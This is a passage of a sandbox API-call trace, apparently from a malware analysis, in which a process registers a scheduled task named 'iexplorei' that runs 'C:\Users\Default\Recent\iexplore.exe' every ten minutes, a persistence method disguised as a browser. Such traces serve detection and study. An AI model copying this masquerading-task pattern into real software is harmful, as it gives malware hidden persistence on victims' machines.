_ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.782] lstrlenW (lpString="|k|") returned 3 [0151.782] lstrlenW (lpString="|f|") returned 3 [0151.782] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0151.782] SetLastError (dwErrCode=0x490) [0151.783] lstrlenW (lpString="du") returned 2 [0151.783] lstrlenW (lpString="du") returned 2 [0151.783] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.783] lstrlenW (lpString="f") returned 1 [0151.783] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.783] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|du|") returned 4 [0151.783] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.783] lstrlenW (lpString="|du|") returned 4 [0151.783] lstrlenW (lpString="|f|") returned 3 [0151.783] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0151.783] SetLastError (dwErrCode=0x490) [0151.783] lstrlenW (lpString="ri") returned 2 [0151.783] lstrlenW (lpString="ri") returned 2 [0151.784] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.784] lstrlenW (lpString="f") returned 1 [0151.784] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.784] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|ri|") returned 4 [0151.784] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.784] lstrlenW (lpString="|ri|") returned 4 [0151.784] lstrlenW (lpString="|f|") returned 3 [0151.784] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0151.784] SetLastError (dwErrCode=0x490) [0151.784] lstrlenW (lpString="z") returned 1 [0151.784] lstrlenW (lpString="z") returned 1 [0151.785] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.785] lstrlenW (lpString="f") returned 1 [0151.785] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.785] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|z|") returned 3 [0151.785] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.785] lstrlenW (lpString="|z|") returned 3 [0151.785] lstrlenW (lpString="|f|") returned 3 [0151.785] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0151.785] SetLastError (dwErrCode=0x490) [0151.785] lstrlenW (lpString="f") returned 1 [0151.786] lstrlenW (lpString="f") returned 1 [0151.786] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.786] lstrlenW (lpString="f") returned 1 [0151.786] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.786] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.786] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.786] lstrlenW (lpString="|f|") returned 3 [0151.786] lstrlenW (lpString="|f|") returned 3 [0151.786] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0151.786] SetLastError (dwErrCode=0x0) [0151.787] SetLastError (dwErrCode=0x0) [0151.787] GetProcessHeap () returned 0x280000 [0151.787] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ccd0 [0151.787] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.787] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0151.787] lstrlenW (lpString="MINUTE") returned 6 [0151.787] GetProcessHeap () returned 0x280000 [0151.787] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d560 [0151.788] GetThreadLocale () returned 0x409 [0151.788] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0151.788] SetLastError (dwErrCode=0x0) [0151.788] GetProcessHeap () returned 0x280000 [0151.788] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x1fc) returned 0x29c230 [0151.788] GetProcessHeap () returned 0x280000 [0151.788] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cca0 [0151.788] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.788] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0151.788] lstrlenW (lpString="First") returned 5 [0151.788] GetProcessHeap () returned 0x280000 [0151.789] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xc) returned 0x29d580 [0151.789] GetProcessHeap () returned 0x280000 [0151.789] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cc70 [0151.789] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.789] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0151.789] lstrlenW (lpString="Second") returned 6 [0151.789] GetProcessHeap () returned 0x280000 [0151.789] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d5a0 [0151.789] GetProcessHeap () returned 0x280000 [0151.789] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cc40 [0151.789] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.789] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0151.789] lstrlenW (lpString="Third") returned 5 [0151.790] GetProcessHeap () returned 0x280000 [0151.790] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xc) returned 0x29d5c0 [0151.790] GetProcessHeap () returned 0x280000 [0151.790] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cc10 [0151.790] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.790] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0151.790] lstrlenW (lpString="Fourth") returned 6 [0151.790] GetProcessHeap () returned 0x280000 [0151.790] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d5e0 [0151.790] GetProcessHeap () returned 0x280000 [0151.790] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cbe0 [0151.790] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.790] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0151.790] lstrlenW (lpString="Last") returned 4 [0151.791] GetProcessHeap () returned 0x280000 [0151.791] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xa) returned 0x29d600 [0151.791] lstrlenW (lpString="10") returned 2 [0151.791] _wtol (_String="10") returned 10 [0151.791] GetProcessHeap () returned 0x280000 [0151.791] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cbb0 [0151.791] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.791] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0151.791] lstrlenW (lpString="First") returned 5 [0151.791] GetProcessHeap () returned 0x280000 [0151.791] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xc) returned 0x29d620 [0151.791] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.791] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0151.791] lstrlenW (lpString="Second") returned 6 [0151.792] GetProcessHeap () returned 0x280000 [0151.792] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d640 [0151.792] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.792] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0151.792] lstrlenW (lpString="Third") returned 5 [0151.792] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.792] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0151.792] lstrlenW (lpString="Fourth") returned 6 [0151.792] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.793] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0151.793] lstrlenW (lpString="Last") returned 4 [0151.793] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc1e0, cchData=128 | out: lpLCData="0") returned 2 [0151.793] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.793] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0151.793] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0151.793] GetProcessHeap () returned 0x280000 [0151.793] GetProcessHeap () returned 0x280000 [0151.794] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d580) returned 1 [0151.794] GetProcessHeap () returned 0x280000 [0151.794] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d580) returned 0xc [0151.794] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d580 | out: hHeap=0x280000) returned 1 [0151.794] GetProcessHeap () returned 0x280000 [0151.794] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x16) returned 0x29d580 [0151.794] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc200, cchData=128 | out: lpLCData="0") returned 2 [0151.794] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.794] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0151.794] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0151.795] GetProcessHeap () returned 0x280000 [0151.795] GetProcessHeap () returned 0x280000 [0151.795] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d5a0) returned 1 [0151.795] GetProcessHeap () returned 0x280000 [0151.795] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d5a0) returned 0xe [0151.795] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d5a0 | out: hHeap=0x280000) returned 1 [0151.795] GetProcessHeap () returned 0x280000 [0151.795] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x16) returned 0x29d5a0 [0151.795] GetLocalTime (in: lpSystemTime=0xbc430 | out: lpSystemTime=0xbc430*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xb, wMilliseconds=0x3b4)) [0151.795] lstrlenW (lpString="") returned 0 [0151.796] GetLocalTime (in: lpSystemTime=0xbcce8 | out: lpSystemTime=0xbcce8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xb, wMilliseconds=0x3b4)) [0151.798] lstrlenW (lpString="") returned 0 [0151.798] lstrlenW (lpString="") returned 0 [0151.798] lstrlenW (lpString="") returned 0 [0151.798] lstrlenW (lpString="") returned 0 [0151.798] lstrlenW (lpString="10") returned 2 [0151.799] _wtol (_String="10") returned 10 [0151.799] lstrlenW (lpString="") returned 0 [0151.799] lstrlenW (lpString="") returned 0 [0151.799] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0151.842] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0151.969] CoCreateInstance (in: rclsid=0xffd41ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffd41ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xbcab0 | out: ppv=0xbcab0*=0x1e7a50) returned 0x0 [0151.980] TaskScheduler:ITaskService:Connect (This=0x1e7a50, serverName=0xbcb90*(varType=0x8, wReserved1=0xb, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xbcb50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xbcb70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbcb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0152.329] TaskScheduler:IUnknown:AddRef (This=0x1e7a50) returned 0x2 [0152.329] TaskScheduler:ITaskService:GetFolder (in: This=0x1e7a50, Path=0x0, ppFolder=0xbcc48 | out: ppFolder=0xbcc48*=0x1e7c10) returned 0x0 [0152.332] TaskScheduler:ITaskService:NewTask (in: This=0x1e7a50, flags=0x0, ppDefinition=0xbcc40 | out: ppDefinition=0xbcc40*=0x1e7c60) returned 0x0 [0152.332] ITaskDefinition:get_Actions (in: This=0x1e7c60, ppActions=0xbcbc0 | out: ppActions=0xbcbc0*=0x1e7d20) returned 0x0 [0152.332] IActionCollection:Create (in: This=0x1e7d20, Type=0, ppAction=0xbcbe0 | out: ppAction=0xbcbe0*=0x1e60c0) returned 0x0 [0152.332] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.332] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0152.332] lstrlenW (lpString=" ") returned 1 [0152.332] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0152.332] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0152.332] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0152.332] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0152.332] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0152.333] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0152.334] IUnknown:Release (This=0x1e60c0) returned 0x1 [0152.334] IUnknown:Release (This=0x1e7d20) returned 0x1 [0152.334] ITaskDefinition:get_Triggers (in: This=0x1e7c60, ppTriggers=0xbc740 | out: ppTriggers=0xbc740*=0x1e7e60) returned 0x0 [0152.334] ITriggerCollection:Create (in: This=0x1e7e60, Type=1, ppTrigger=0xbc738 | out: ppTrigger=0xbc738*=0x1e6130) returned 0x0 [0152.334] lstrlenW (lpString="10") returned 2 [0152.334] _vsnwprintf (in: _Buffer=0xbc6c0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xbc6b8 | out: _Buffer="PT10M") returned 5 [0152.334] ITrigger:get_Repetition (in: This=0x1e6130, ppRepeat=0xbc730 | out: ppRepeat=0xbc730*=0x1e61c0) returned 0x0 [0152.334] IRepetitionPattern:put_Interval (This=0x1e61c0, Interval="PT10M") returned 0x0 [0152.334] IUnknown:Release (This=0x1e61c0) returned 0x1 [0152.334] _vsnwprintf (in: _Buffer=0xbc680, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xbc658 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0152.334] ITrigger:put_StartBoundary (This=0x1e6130, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0152.335] lstrlenW (lpString="") returned 0 [0152.335] lstrlenW (lpString="") returned 0 [0152.335] lstrlenW (lpString="") returned 0 [0152.335] lstrlenW (lpString="") returned 0 [0152.335] IUnknown:Release (This=0x1e6130) returned 0x1 [0152.335] IUnknown:Release (This=0x1e7e60) returned 0x1 [0152.335] ITaskDefinition:get_Settings (in: This=0x1e7c60, ppSettings=0xbcbe0 | out: ppSettings=0xbcbe0*=0x1e7ed0) returned 0x0 [0152.335] lstrlenW (lpString="") returned 0 [0152.335] IUnknown:Release (This=0x1e7ed0) returned 0x1 [0152.335] GetLocalTime (in: lpSystemTime=0xbca98 | out: lpSystemTime=0xbca98*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xc, wMilliseconds=0x161)) [0152.335] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0152.335] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0152.335] GetUserNameW (in: lpBuffer=0xbcac0, pcbBuffer=0xbcaa8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xbcaa8) returned 1 [0152.336] ITaskDefinition:get_RegistrationInfo (in: This=0x1e7c60, ppRegistrationInfo=0xbca90 | out: ppRegistrationInfo=0xbca90*=0x1e7da0) returned 0x0 [0152.336] IRegistrationInfo:put_Author (This=0x1e7da0, Author="") returned 0x0 [0152.336] _vsnwprintf (in: _Buffer=0xbcac0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xbca58 | out: _Buffer="2022-08-06T02:19:12") returned 19 [0152.336] IRegistrationInfo:put_Date (This=0x1e7da0, Date="") returned 0x0 [0152.336] IUnknown:Release (This=0x1e7da0) returned 0x1 [0152.337] malloc (_Size=0x18) returned 0x1e5a90 [0152.337] free (_Block=0x1e5a90) [0152.337] lstrlenW (lpString="") returned 0 [0152.337] malloc (_Size=0x18) returned 0x1e5a90 [0152.337] ITaskFolder:RegisterTaskDefinition (in: This=0x1e7c10, Path="iexplorei", pDefinition=0x1e7c60, flags=6, UserId=0xbcd30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbcd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbec40, varVal2=0xfe), LogonType=3, sddl=0xbcd50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xbcc50 | out: ppTask=0xbcc50*=0x1e6350) returned 0x0 [0152.575] free (_Block=0x1e5a90) [0152.575] _memicmp (_Buf1=0x29ba70, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.575] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x29d260, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0152.575] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0152.575] GetProcessHeap () returned 0x280000 [0152.575] GetProcessHeap () returned 0x280000 [0152.575] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d5c0) returned 1 [0152.575] GetProcessHeap () returned 0x280000 [0152.575] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d5c0) returned 0xc [0152.575] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d5c0 | out: hHeap=0x280000) returned 1 [0152.575] GetProcessHeap () returned 0x280000 [0152.575] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x82) returned 0x2b9ac0 [0152.575] _vsnwprintf (in: _Buffer=0xbd390, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xbcbf8 | out: _Buffer="SUCCESS: The scheduled task \"iexplorei\" has successfully been created.\n") returned 71 [0152.575] _fileno (_File=0x7fefed02ab0) returned -2 [0152.575] _errno () returned 0x1e4bb0 [0152.575] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0152.575] SetLastError (dwErrCode=0x6) [0152.575] lstrlenW (lpString="SUCCESS: The scheduled task \"iexplorei\" has successfully been created.\n") returned 71 [0152.575] GetConsoleOutputCP () returned 0x0 [0152.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"iexplorei\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0152.575] GetConsoleOutputCP () returned 0x0 [0152.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"iexplorei\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xffd81880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"iexplorei\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0152.575] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 71 [0152.576] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0152.576] IUnknown:Release (This=0x1e6350) returned 0x0 [0152.576] TaskScheduler:IUnknown:Release (This=0x1e7c60) returned 0x0 [0152.576] TaskScheduler:IUnknown:Release (This=0x1e7c10) returned 0x0 [0152.576] TaskScheduler:IUnknown:Release (This=0x1e7a50) returned 0x1 [0152.576] lstrlenW (lpString="") returned 0 [0152.576] lstrlenW (lpString="10") returned 2 [0152.576] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="10", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0152.576] GetProcessHeap () returned 0x280000 [0152.576] GetProcessHeap () returned 0x280000 [0152.576] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c230) returned 1 [0152.576] GetProcessHeap () returned 0x280000 [0152.576] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c230) returned 0x1fc [0152.577] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c230 | out: hHeap=0x280000) returned 1 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29b970) returned 1 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29b970) returned 0x6 [0152.577] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29b970 | out: hHeap=0x280000) returned 1 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d4a0) returned 1 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d4a0) returned 0x16 [0152.577] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d4a0 | out: hHeap=0x280000) returned 1 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d4c0) returned 1 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d4c0) returned 0x18 [0152.577] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d4c0 | out: hHeap=0x280000) returned 1 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd30) returned 1 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cd30) returned 0x20 [0152.577] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd30 | out: hHeap=0x280000) returned 1 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] GetProcessHeap () returned 0x280000 [0152.577] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29bfd0) returned 1 [0152.578] GetProcessHeap () returned 0x280000 [0152.578] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29bfd0) returned 0xa0 [0152.578] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29bfd0 | out: hHeap=0x280000) returned 1 [0152.578] GetProcessHeap () returned 0x280000 [0152.578] GetProcessHeap () returned 0x280000 [0152.578] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ba50) returned 1 [0152.578] GetProcessHeap () returned 0x280000 [0152.578] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ba50) returned 0x18 [0152.578] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ba50 | out: hHeap=0x280000) returned 1 [0152.578] GetProcessHeap () returned 0x280000 [0152.578] GetProcessHeap () returned 0x280000 [0152.578] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29caf0) returned 1 [0152.578] GetProcessHeap () returned 0x280000 [0152.578] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29caf0) returned 0x20 [0152.578] HeapFree (in: 